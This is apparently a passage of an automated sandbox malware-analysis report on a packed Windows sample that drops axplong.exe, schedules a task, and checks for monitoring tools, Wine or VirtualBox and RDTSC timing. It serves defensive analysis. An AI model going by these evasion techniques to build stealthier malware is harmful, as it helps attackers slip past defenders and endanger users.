                    Source: C:\Users\user\Desktop\file.exeSection loaded: appresolver.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: bcp47langs.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: slc.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: sppc.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winmm.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winmm.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winmm.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winhttp.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: winnsi.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32Jump to behavior
                    Source: file.exeStatic file information: File size 1929216 > 1048576
                    Source: file.exeStatic PE information: Raw size of mrrxutca is bigger than: 0x100000 < 0x1a5400

                    Data Obfuscation

                    barindex
                    Detected unpacking (changes PE section rights)
                    Source: C:\Users\user\Desktop\file.exeUnpacked PE file: 0.2.file.exe.3c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mrrxutca:EW;gmpmgtcb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mrrxutca:EW;gmpmgtcb:EW;.taggant:EW;
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeUnpacked PE file: 2.2.axplong.exe.d10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mrrxutca:EW;gmpmgtcb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mrrxutca:EW;gmpmgtcb:EW;.taggant:EW;
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeUnpacked PE file: 3.2.axplong.exe.d10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mrrxutca:EW;gmpmgtcb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mrrxutca:EW;gmpmgtcb:EW;.taggant:EW;
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeUnpacked PE file: 7.2.axplong.exe.d10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mrrxutca:EW;gmpmgtcb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mrrxutca:EW;gmpmgtcb:EW;.taggant:EW;
                    Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
                    Source: axplong.exe.0.drStatic PE information: real checksum: 0x1e2edb should be: 0x1d814d
                    Source: file.exeStatic PE information: real checksum: 0x1e2edb should be: 0x1d814d
                    Source: file.exeStatic PE information: section name:
                    Source: file.exeStatic PE information: section name: .idata
                    Source: file.exeStatic PE information: section name:
                    Source: file.exeStatic PE information: section name: mrrxutca
                    Source: file.exeStatic PE information: section name: gmpmgtcb
                    Source: file.exeStatic PE information: section name: .taggant
                    Source: axplong.exe.0.drStatic PE information: section name:
                    Source: axplong.exe.0.drStatic PE information: section name: .idata
                    Source: axplong.exe.0.drStatic PE information: section name:
                    Source: axplong.exe.0.drStatic PE information: section name: mrrxutca
                    Source: axplong.exe.0.drStatic PE information: section name: gmpmgtcb
                    Source: axplong.exe.0.drStatic PE information: section name: .taggant
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeCode function: 7_2_00D2D84C push ecx; ret 7_2_00D2D85F
                    Source: file.exeStatic PE information: section name: entropy: 7.983894166340195
                    Source: file.exeStatic PE information: section name: mrrxutca entropy: 7.952707462434755
                    Source: axplong.exe.0.drStatic PE information: section name: entropy: 7.983894166340195
                    Source: axplong.exe.0.drStatic PE information: section name: mrrxutca entropy: 7.952707462434755
                    Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeJump to dropped file

                    Boot Survival

                    barindex
                    Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
                    Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                    Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                    Source: C:\Users\user\Desktop\file.exeWindow searched: window name: RegmonClassJump to behavior
                    Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                    Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonClassJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonClassJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonClassJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonClassJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonclassJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: FilemonclassJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeWindow searched: window name: RegmonclassJump to behavior
                    Source: C:\Users\user\Desktop\file.exeFile created: C:\Windows\Tasks\axplong.jobJump to behavior
                    Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                    Malware Analysis System Evasion

                    barindex
                    Tries to detect sandboxes / dynamic malware analysis system (registry check)
                    Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                    Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                    Tries to detect virtualization through RDTSC time measurements
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A78F7 second address: 5A78FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A6CD6 second address: 5A6CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5A147D6A26h 0x0000000a jne 00007F5A147D6A26h 0x00000010 popad 0x00000011 push ecx 0x00000012 jmp 00007F5A147D6A2Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8C36 second address: 5A8C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F5A14B6C836h 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8C47 second address: 5A8C4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8D08 second address: 5A8D4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnl 00007F5A14B6C836h 0x0000000d pop edi 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pushad 0x00000016 popad 0x00000017 pop ecx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a or edx, dword ptr [ebp+122D2A18h] 0x00000020 lea ebx, dword ptr [ebp+1244DB54h] 0x00000026 cmc 0x00000027 xchg eax, ebx 0x00000028 jc 00007F5A14B6C83Eh 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F5A14B6C83Bh 0x00000036 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8D4C second address: 5A8D5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A147D6A2Dh 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8EBB second address: 5A8F18 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5A14B6C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c add dword ptr [ebp+122D1DA9h], esi 0x00000012 push 00000000h 0x00000014 or dword ptr [ebp+122D2598h], edi 0x0000001a mov dword ptr [ebp+122D2598h], edx 0x00000020 call 00007F5A14B6C839h 0x00000025 jmp 00007F5A14B6C848h 0x0000002a push eax 0x0000002b jnc 00007F5A14B6C842h 0x00000031 mov eax, dword ptr [esp+04h] 0x00000035 push eax 0x00000036 push edx 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8F18 second address: 5A8F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8F1D second address: 5A8F3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F5A14B6C83Ch 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8F3C second address: 5A8FA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F5A147D6A34h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F5A147D6A2Dh 0x00000014 pop eax 0x00000015 jmp 00007F5A147D6A2Bh 0x0000001a push 00000003h 0x0000001c and di, 51DFh 0x00000021 push 00000000h 0x00000023 mov ecx, dword ptr [ebp+122D2D83h] 0x00000029 pushad 0x0000002a movsx eax, cx 0x0000002d jp 00007F5A147D6A2Ch 0x00000033 mov dword ptr [ebp+122D1CCDh], ebx 0x00000039 popad 0x0000003a push 00000003h 0x0000003c call 00007F5A147D6A29h 0x00000041 push edx 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8FA2 second address: 5A8FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jng 00007F5A14B6C836h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8FB4 second address: 5A8FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8FB9 second address: 5A8FD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C83Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop ebx 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5A8FD4 second address: 5A8FD9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CB4AE second address: 5CB4B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CB4B4 second address: 5CB4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b js 00007F5A147D6A26h 0x00000011 popad 0x00000012 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CB4C6 second address: 5CB4CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CB4CC second address: 5CB4D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5A147D6A26h 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 595AD3 second address: 595ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5A14B6C836h 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 595ADD second address: 595AE7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5A147D6A26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9298 second address: 5C929C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C929C second address: 5C92A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C92A9 second address: 5C92B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C92B6 second address: 5C92C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5A147D6A26h 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C92C0 second address: 5C92C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9579 second address: 5C9583 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5A147D6A26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9583 second address: 5C958C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C96DE second address: 5C96F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F5A147D6A26h 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C96F7 second address: 5C970E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F5A14B6C83Ch 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C970E second address: 5C9714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9B10 second address: 5C9B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5A14B6C836h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9B1C second address: 5C9B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A147D6A31h 0x00000009 popad 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9B32 second address: 5C9B37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9B37 second address: 5C9B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c je 00007F5A147D6A26h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9B4D second address: 5C9B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop esi 0x0000000d push edx 0x0000000e jne 00007F5A14B6C836h 0x00000014 jmp 00007F5A14B6C845h 0x00000019 pop edx 0x0000001a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9B77 second address: 5C9B8D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F5A147D6A31h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9B8D second address: 5C9B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9B98 second address: 5C9B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5C9ECF second address: 5C9EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5A14B6C836h 0x0000000a popad 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CA1B8 second address: 5CA1C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F5A147D6A26h 0x0000000d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CA4B5 second address: 5CA4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CA4B9 second address: 5CA4F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F5A147D6A2Ah 0x0000000c jmp 00007F5A147D6A37h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5A147D6A32h 0x00000018 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CA692 second address: 5CA69A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CA69A second address: 5CA6B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A147D6A37h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CA6B7 second address: 5CA6BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CA6BB second address: 5CA6BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5CA6BF second address: 5CA6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D1471 second address: 5D1477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D1477 second address: 5D147B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D035C second address: 5D0366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F5A147D6A26h 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D0A78 second address: 5D0A7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D1AE0 second address: 5D1AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D1AE7 second address: 5D1AFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5A14B6C836h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D1AFD second address: 5D1B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D1B01 second address: 5D1B07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D1B07 second address: 5D1B0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D1B0D second address: 5D1B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5D1B11 second address: 5D1B15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
